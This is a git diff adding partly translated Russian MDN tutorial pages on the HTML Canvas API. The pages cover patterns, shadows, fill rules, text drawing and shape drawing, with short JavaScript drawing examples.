+ <dt><code>repeat</code></dt>
+ <dd>Повторяет изображение в вертикальном и горизонтальном направлениях.</dd>
+ <dt><code>repeat-x</code></dt>
+ <dd>Повторяет изображение по горизонтали, но не по вертикали.</dd>
+ <dt><code>repeat-y</code></dt>
+ <dd>Повторяет изображение по вертикали, но не по горизонтали.</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>Не повторяет изображение. Используется только один раз.</dd>
+</dl>
+
+<p>Мы используем этот метод, чтобы создать {{domxref("CanvasPattern")}} объект, который очень похож на методы градиента, рассмотренные ранее. Как только мы создали шаблон, мы можем назначить ему свойства <code>fillStyle</code> или <code>strokeStyle</code>. Например:</p>
+
+<pre class="brush: js notranslate">var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img,'repeat');
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> По аналогии с методом <code>drawImage()</code>, вы должны убедиться, что изображение, которое вы используете, загружено до вызова этого метода. Иначе шаблон может быть отрисован некорректно.</p>
+</div>
+
+<h3 id="Пример_createPattern">Пример <code>createPattern</code></h3>
+
+<p>In this last example, we'll create a pattern to assign to the <code>fillStyle</code> property. The only thing worth noting is the use of the image's <code>onload</code> handler. This is to make sure the image is loaded before it is assigned to the pattern.</p>
+
+<pre class="brush: js;highlight[10] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // create new image object to use as pattern
+  var img = new Image();
+  img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+  img.onload = function(){
+
+    // create pattern
+    var ptrn = ctx.createPattern(img,'repeat');
+    ctx.fillStyle = ptrn;
+    ctx.fillRect(0,0,150,150);
+
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+
+<p>The result looks like this:</p>
+</div>
+
+<p>{{EmbedLiveSample("Пример_createPattern", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}</p>
+
+<h2 id="Тени">Тени</h2>
+
+<p>Using shadows involves just four properties:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}</dt>
+ <dd>Indicates the horizontal distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}</dt>
+ <dd>Indicates the vertical distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}</dt>
+ <dd>Indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}</dt>
+ <dd>A standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.</dd>
+</dl>
+
+<p>The properties <code>shadowOffsetX</code> and <code>shadowOffsetY</code> indicate how far the shadow should extend from the object in the X and Y directions; these values aren't affected by the current transformation matrix. Use negative values to cause the shadow to extend up or to the left, and positive values to cause the shadow to extend down or to the right. These are both 0 by default.</p>
+
+<p>The <code>shadowBlur</code> property indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.</p>
+
+<p>The <code>shadowColor</code> property is a standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Shadows are only drawn for <code>source-over</code> <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Web/Guide/HTML/Canvas_tutorial/Compositing">compositing operations</a>.</p>
+</div>
+
+<h3 id="Пример_текста_с_тенью">Пример текста с тенью</h3>
+
+<p>This example draws a text string with a shadowing effect.</p>
+
+<pre class="brush: js;highlight[4,5,6,7] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.shadowOffsetX = 2;
+  ctx.shadowOffsetY = 2;
+  ctx.shadowBlur = 2;
+  ctx.shadowColor = "rgba(0, 0, 0, 0.5)";
+
+  ctx.font = "20px Times New Roman";
+  ctx.fillStyle = "Black";
+  ctx.fillText("Sample String", 5, 30);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="80"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_текста_с_тенью", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p>
+
+<p>We will look at the <code>font</code> property and <code>fillText</code> method in the next chapter about <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">drawing text</a>.</p>
+
+<h2 id="Canvas_fill_rules">Canvas fill rules</h2>
+
+<p>When using <code>fill</code> (or {{domxref("CanvasRenderingContext2D.clip", "clip")}} and {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) you can optionally provide a fill rule algorithm by which to determine if a point is inside or outside a path and thus if it gets filled or not. This is useful when a path intersetcs itself or is nested.<br>
+ <br>
+ Two values are possible:</p>
+
+<ul>
+ <li><code><strong>"nonzero</strong></code>": The <a class="external external-icon" href="http://en.wikipedia.org/wiki/Nonzero-rule">non-zero winding rule</a>, which is the default rule.</li>
+ <li><code><strong>"evenodd"</strong></code>: The <a class="external external-icon" href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">even-odd winding rule</a>.</li>
+</ul>
+
+<p>In this example we are using the <code>evenodd</code> rule.</p>
+
+<pre class="brush: js;highlight[6] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.beginPath();
+  ctx.arc(50, 50, 30, 0, Math.PI*2, true);
+  ctx.arc(50, 50, 15, 0, Math.PI*2, true);
+  ctx.fill("evenodd");
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/рисование_текста/index.html b/files/ru/web/api/canvas_api/tutorial/рисование_текста/index.html
new file mode 100644
index 0000000000..90915c5e09
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/рисование_текста/index.html
@@ -0,0 +1,166 @@
+---
+title: Рисование текста
+slug: Web/API/Canvas_API/Tutorial/Рисование_текста
+tags:
+  - Canvas
+  - Графика
+  - Примеры
+  - Рукводовство
+  - мануал
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_text
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}</div>
+
+<div class="summary">
+<p>После того, как мы увидели в предыдущей главе, как <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">применять стили и цвета</a>, взглянем на написание текста в canvas.</p>
+</div>
+
+<h2 id="Рисование_текста">Рисование текста</h2>
+
+<p>Контекст рендеринга canvas предоставляет два метода для рисования текста:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}</dt>
+ <dd>Вставляет заданный текст в положении (x,y). Опционально может быть указана максимальная ширина.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}</dt>
+ <dd>Вставляет контур заданного текста в положении (x,y). Опционально может быть указана максимальная ширина.</dd>
+</dl>
+
+<h3 id="Пример_fillText">Пример <code>fillText</code></h3>
+
+<p>Текст вставлен с использованием текущего <code>fillStyle</code>.</p>
+
+<pre class="brush: js;highlight[4] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = "48px serif";
+  ctx.fillText("Hello world", 10, 50);
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="300" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_fillText_example", 310, 110)}}</p>
+
+<h3 id="Пример_strokeText">Пример <code>strokeText</code></h3>
+
+<p>Текст вставлен с использованием текущего <code>strokeStyle</code>.</p>
+
+<pre class="brush: js;highlight[4] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = "48px serif";
+  ctx.strokeText("Hello world", 10, 50);
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="300" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_strokeText_example", 310, 110)}}</p>
+
+<h2 id="Стилизация_текста">Стилизация текста</h2>
+
+<p>В примерах выше мы уже использовали свойство font для изменения размера текста. Кроме него существуют еще несколько свойств, позволяющие настроить вывод текста на canvas:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font", "font = value")}}</dt>
+ <dd>Это основной стиль, который будет использоваться для вывода текста. Строка имеет такой же синтаксис, как <a href="/en-US/docs/Web/CSS">CSS</a>-свойство {{cssxref("font")}}. По умолчанию - sans-serif высотой 10px.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}</dt>
+ <dd>Настройка выравнивания текста. Возможные значения: <code>start</code>, <code>end</code>, <code>left</code>, <code>right</code> или <code>center</code>. По умолчанию - <code>start</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}</dt>
+ <dd>Настройка выравнивания текста по вертикали. Возможные значения: <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code>, <code>ideographic</code>, <code>bottom</code>. По умолчанию - <code>alphabetic</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}</dt>
+ <dd>Направление текста. Возможные значения: <code>ltr</code>, <code>rtl</code>, <code>inherit</code>. По умолчанию - <code>inherit</code>.</dd>
+</dl>
+
+<p>Эти свойства могут быть вам знакомы если вы работали с CSS.</p>
+
+<p>Изображение от <a class="external" href="http://www.whatwg.org/" title="http://www.whatwg.org/">WHATWG</a> ниже показывает различные варианты свойства <code>textBaseline</code>.<img alt="The top of the em square is
+roughly at the top of the glyphs in a font, the hanging baseline is
+where some glyphs like आ are anchored, the middle is half-way
+between the top of the em square and the bottom of the em square,
+the alphabetic baseline is where characters like Á, ÿ,
+f, and Ω are anchored, the ideographic baseline is
+where glyphs like 私 and 達 are anchored, and the bottom
+of the em square is roughly at the bottom of the glyphs in a
+font. The top and bottom of the bounding box can be far from these
+baselines, due to glyphs extending far outside the em square." src="http://www.whatwg.org/specs/web-apps/current-work/images/baselines.png"></p>
+
+<h3 id="Пример_textBaseline">Пример textBaseline</h3>
+
+<p>Редактируя код ниже, вы можете видеть, как меняется отображение текста на canvas в реальном времени:</p>
+
+<pre class="brush: js;highlight[2] notranslate">ctx.font = "48px serif";
+ctx.textBaseline = "hanging";
+ctx.strokeText("Hello world!", 0, 100);
+</pre>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.textBaseline = "hanging";
+ctx.strokeText("Hello world", 0, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Измерение_ширины_текста">Измерение ширины текста</h2>
+
+<p>Для измерения ширины текста (без рисования его на canvas) можно воспользоваться следующим методом:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}</dt>
+ <dd>Возвращает объект {{domxref("TextMetrics")}}, содержащий ширину текста в пикселах, до отрисовки на canvas.</dd>
+</dl>
+
+<p>Пример ниже показывает, как можно измерить ширину текста.</p>
+
+<pre class="brush: js;highlight[3] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var text = ctx.measureText("foo"); // TextMetrics object
+  text.width; // 16;
+}
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>В ранних версиях Gecko (движок рендеринга в Firefox, Firefox OS и других приложениях Mozilla) были реализованы <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Prefixed_APIs">методы API с префиксами</a> для рисования текста на canvas. На данный момент они устарели и уже, возможно, удалены, поэтому их правильная работа не гарантируется.</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/рисование_фигур/index.html b/files/ru/web/api/canvas_api/tutorial/рисование_фигур/index.html
new file mode 100644
index 0000000000..f6ca6c23ef
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/рисование_фигур/index.html
@@ -0,0 +1,582 @@
+---
+title: Рисование фигур с помощью canvas
+slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
+
+<div class="summary">
+<p>Теперь, установив наше <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_usage">окружение canvas</a>, мы можем погрузиться в детали того, как рисовать в canvas. К концу этой статьи, Вы научитесь рисовать прямоугольники, треугольники, линии, дуги и кривые, при условии что Вы хорошо знакомы с основными геометрическими фигурами. Работа с путями весьма важна, когда рисуете объекты на canvas и мы увидим как это может быть сделано.</p>
+</div>
+
+<h2 id="Сетка">Сетка</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Перед тем, как мы начнем рисовать, нам нужно поговорить о сетке canvas или <strong>координатной плоскости</strong>. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas <span class="short_text" id="result_box" lang="ru"><span class="hps">с сеткой</span><span>, накладываемой по умолчанию</span></span>. <span id="result_box" lang="ru"><span class="hps">Обычно 1 единица</span> <span class="hps">на сетке соответствует</span> <span class="hps">1 пикселю на</span></span> canvas. <span id="result_box" lang="ru"><span>Начало координат этой сетки</span> <span class="hps">расположено</span> <em><span class="hps">в верхнем левом</span> <span class="hps">углу</span></em> <span class="hps">в</span> <span class="atn hps">координате <code><em>(</em></code></span><span><code><em>0,0 )</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Все</span> <span class="hps">элементы размещены</span> <span class="hps">относительно</span> <span class="hps">этого</span> <span class="hps">начала</span><span>. </span><span class="hps">Так</span>им образом, <span class="hps">положение верхнего</span> <span class="hps">левого угла</span> <span class="hps">синего квадрата составляет</span> <code><em><span class="hps">х</span></em></code> <span class="hps">пикселей слева</span><span class="hps"> и</span> <code><em><span class="hps">у</span></em></code> <span class="hps">пикселей</span> <span class="hps">сверху,</span> <span class="hps">на</span> <span class="hps">координате <code><em>(х</em></code></span><span><code><em>, у)</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Позже в</span> <span class="hps">этом уроке мы</span> <span class="hps">увидим, как</span> <span class="hps">можно</span> <span class="hps">перевести</span> <span class="hps">начало координат</span> <span class="hps">в другое место</span><span>,</span> <span class="hps">вращать сетку</span> <span class="hps">и даже</span> <span class="hps">масштабировать ее</span><span>, но сейчас</span> <span class="hps">мы будем придерживаться</span> <span class="hps">настроек сетки по умолчанию.</span></span></p>
+
+<h2 id="Рисование_прямоугольников">Рисование прямоугольников</h2>
+
+<p>В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединенных в линии. К счастью в ассортименте рисования контуров у нас есть  функции, которые делают возможным составление очень сложных фигур.</p>
+
+<p>Сначала рассмотрим прямоугольник. Ниже представлены три функции рисования прямоугольников в canvas:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}</dt>
+ <dd>Рисование заполненного прямоугольника.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}</dt>
+ <dd>Рисование прямоугольного контура.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}</dt>
+ <dd>Очистка  прямоугольной области, делая содержимое совершенно прозрачным.</dd>
+</dl>
+
+<p>Каждая из приведенных функций принимает несколько параметров: </p>
+
+<ul>
+ <li><em>x</em>, <font face="Consolas, Liberation Mono, Courier, monospace"><em>y</em></font> устанавливают положение верхнего левого угла прямоугольника в canvas (относительно начала координат);</li>
+ <li><code><em>width</em></code>(ширина) и <code><em><em>height</em></em></code>(высота) определяют размеры прямоугольника.</li>
+</ul>
+
+<p>Ниже приведена функция draw(), использующая эти три функции.</p>
+
+<h3 id="Пример_создания_прямоугольных_фигур">Пример создания прямоугольных фигур</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25,25,100,100);
+    ctx.clearRect(45,45,60,60);
+    ctx.strokeRect(50,50,50,50);
+  }
+}</pre>
+
+<p>Этот пример изображен ниже.</p>
+
+<p>{{EmbedLiveSample("Пример_создания_прямоугольных_фигур", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
+
+<p>Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создает прямоугольный контур 50х50 пикселей внутри очищенного квадрата.</p>
+
+<p>На следующей странице мы рассмотрим две альтернативы методу clearRect(), и также увидим, как можно изменять цвет и стиль контура отображаемых фигур.</p>
+
+<p>В отличие от функций создания контуров, которые будут рассмотрены в следующем разделе, все три функции создания прямоугольника сразу же отображаются на canvas.</p>
+
+<h2 id="Рисование_контуров_path">Рисование контуров (path)</h2>
+
+<p>Остальные примитивные фигуры создаются <em>контурами</em>. Контур - это набор точек, которые, соединяясь в отрезки линий, могут образовывать различные фигуры, изогнутые или нет, разной ширины и разного цвета. Контур (или субконтур) может быть закрытым.</p>
+
+<p>Создание фигур используя контуры происходит в несколько важных шагов:</p>
+
+<ol>
+ <li>Сначала вы создаете контур.</li>
+ <li>Затем, используя <a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">команды рисования</a>, рисуете контур.</li>
+ <li>Потом закрываете контур.</li>
+ <li>Созданный контур вы можете обвести или залить для его отображения.</li>
+</ol>
+
+<p>Здесь приведены функции, которые можно использовать в описанных шагах:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt>
+ <dd>Создает новый контур. После создания используется в дальнейшем командами рисования при построении контуров.</dd>
+ <dt><a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path методы</a></dt>
+ <dd>Методы для установки различных контуров объекта.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Закрывает контур</span><span>, так что</span> <span class="hps">будущие</span> <span class="hps">команды рисования</span> <span class="hps">вновь</span> <span class="hps">направлены</span> <span class="hps">контекст</span><span>.</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}</dt>
+ <dd>Рисует фигуру с внешней обводкой.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}</dt>
+ <dd>Рисует фигуру с заливкой внутренней области.</dd>
+</dl>
+
+<p>Первый шаг создания контура заключается в вызове функции <strong><code>beginPath()</code></strong>. Внутри содержатся контуры в виде набора суб-контуров (линии, дуги и др.), которые вместе образуют форму фигуры. Каждый вызов этого метода очищает набор, и мы можем начинать рисовать новые фигуры.</p>
+
+<div class="note"><strong>Note:</strong>  если текущий контур пуст (например, как после вызова <code>beginPath() </code>или на вновь созданном canvas), первой командой построения контура всегда является функция  <strong><code>moveTo()</code></strong>. Поэтому мы всегда можем установить начальную позицию рисования контура после перезагрузки.</div>
+
+<p>Вторым шагом является вызов методов, определяемых видом контура, который нужно нарисовать. Их мы рассмотрим позднее.</p>
+
+<p>Третий и необязательный шаг - это вызов <strong><code>closePath()</code></strong>. Этот метод пытается закрыть фигуру, рисуя прямую линию из текущей точки в начальную. Если фигура была уже закрыта или является просто точкой, то функция ничего не делает.</p>
+
+<div class="note"><strong>Note:</strong> Когда вы вызываете <strong><code>fill()</code></strong>, то каждая открытая фигура закрывается автоматически, так что вы можете не использовать <code>closePath()</code>. Это обстоятельство не имеет место в случае вызова <code>stroke()</code>.</div>
+
+<h3 id="Рисование_треугольника">Рисование треугольника</h3>
+
+<p>Например, код для рисования треугольника будет выглядеть как-то так:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75,50);
+    ctx.lineTo(100,75);
+    ctx.lineTo(100,25);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>Результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("Рисование_треугольника", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}</p>
+
+<h3 id="Передвижение_пера">Передвижение пера</h3>
+
+<p>Одна очень полезная функция, которая ничего не рисует, но связана по смыслу с вышеописанными функциями  - это <strong><code>moveTo()</code></strong>. Вы можете представить это как отрыв (подъем) пера от бумаги и его перемещение в другое место.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}</dt>
+ <dd>Перемещает перо в точку с координатами x и y.</dd>
+</dl>
+
+<p>При инициализации canvas или при вызове <code>beginPath()</code>, вы захотите использовать функцию <code>moveTo()</code> для перемещения в точку начала рисования. Можно использовать <code>moveTo()</code> и для рисования несвязанного(незакрытого) контура. Посмотрите на смайлик ниже.</p>
+
+<p>Вы можете проверить это сами, используя участок кода ниже. Просто вставьте в функцию <code>draw()</code>, рассмотренную ранее.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight:[8,10,12] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+     var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75,75,50,0,Math.PI*2,true); // Внешняя окружность
+    ctx.moveTo(110,75);
+    ctx.arc(75,75,35,0,Math.PI,false);  // рот (по часовой стрелке)
+    ctx.moveTo(65,65);
+    ctx.arc(60,65,5,0,Math.PI*2,true);  // Левый глаз
+    ctx.moveTo(95,65);
+    ctx.arc(90,65,5,0,Math.PI*2,true);  // Правый глаз
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>Результат этого ниже:</p>
+
+<p>{{EmbedLiveSample("Передвижение_пера", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p>
+
+<p>Если вы захотите увидеть соединные линии, то можете удалить вызов <code>moveTo()</code>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Подробнее о функции <code>arc()</code>,посмотрите {{anch("Дуги")}} .</p>
+</div>
+
+<h3 id="Линии">Линии</h3>
+
+<p>Для рисования прямых линий используйте метод <code>lineTo()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt>
+ <dd>Рисует линию с текущей позиции до позиции, определенной <code>x и y</code>.</dd>
+</dl>
+
+<p><span id="result_box" lang="ru"><span class="hps">Этот метод принимает</span> <span class="hps">два аргумента</span> </span><code><em>x</em><span lang="ru"><span class="hps"> и </span></span><em>y</em></code><span lang="ru"><span>, которые являются</span> <span class="hps">координатами конечной</span> <span class="hps">точки линии</span><span>.</span></span> <span id="result_box" lang="ru"><span>Начальная точка зависит</span> <span class="hps">от</span> <span class="hps">ранее</span> <span class="hps">нарисованных путей, причём</span> <span class="hps">конечная точка</span> <span class="hps">предыдущего пути является</span> начальной <span class="hps">точкой следующего</span> <span class="hps">и т. д.</span> <span class="hps">Начальная точка также</span> <span class="hps">может быть изменена</span> <span class="hps">с помощью метода</span></span> <code>moveTo()</code>.</p>
+
+<p>Пример ниже рисует два треугольника, один закрашенный и другой обведен контуром.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,16,17] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Filled triangle
+    ctx.beginPath();
+    ctx.moveTo(25,25);
+    ctx.lineTo(105,25);
+    ctx.lineTo(25,105);
+    ctx.fill();
+
+    // Stroked triangle
+    ctx.beginPath();
+    ctx.moveTo(125,125);
+    ctx.lineTo(125,45);
+    ctx.lineTo(45,125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p><span id="result_box" lang="ru"><span class="hps">Отрисовка начинается с вызова</span> </span><code>beginPath()</code><span lang="ru"><span>, чтобы начать</span> <span class="hps">рисовать путь новой фигуры</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Затем мы используем</span> <span class="hps">метод</span> </span><code>moveTo()</code><span lang="ru"><span>, чтобы переместить</span> <span class="hps">начальную точку</span> <span class="hps">в нужное положение</span><span>.</span> <span class="hps">Ниже</span> <span class="hps">рисуются две линии</span><span>, которые образуют две</span> <span class="hps">стороны треугольника</span><span>.</span></span></p>
+
+<p>{{EmbedLiveSample("Линии", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Вы заметите</span> <span class="hps">разницу между</span> <span class="hps">закрашенным</span> <span class="hps">и обведенным контуром</span> <span class="hps">треугольниками.</span> <span class="hps">Это, </span><span class="hps">как упоминалось выше</span><span>,</span> <span class="hps">из-за</span> того, что <span class="hps">фигуры</span> <span class="hps">автоматически закрываются</span><span>, когда</span> <span class="hps">путь</span> <span class="hps">заполнен (т. е. закрашен)</span><span>, но</span> <span class="hps">не тогда, когда</span> <span class="hps">он очерчен (т. е. обведен контуром)</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Если бы мы</span> <span class="hps">не учли</span> </span><code>closePath()</code><span lang="ru"> <span class="hps">для</span> очерченного <span class="hps">треугольника</span><span>,</span> тогда <span class="hps">только две линии</span> <span class="hps">были бы</span> <span class="hps">нарисованы,</span> <span class="hps">а не</span> <span class="hps">весь треугольник</span><span>.</span></span></p>
+
+<h3 id="Дуги">Дуги</h3>
+
+<p>Для рисования дуг и окружностей, используем методы arc() и arcTo().</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}</dt>
+ <dd>Рисуем дугу с центром в точке <code><em>(x,y)</em></code> радиусом <code><em>radius</em></code>, начиная с угла <em><code>startAngle </code>и заканчивая в </em><em><code>endAngle </code>в направлении против часовой стрелки <code>anticlockwise</code></em><code> </code>(по умолчанию по ходу движения часовой стрелки).</dd>
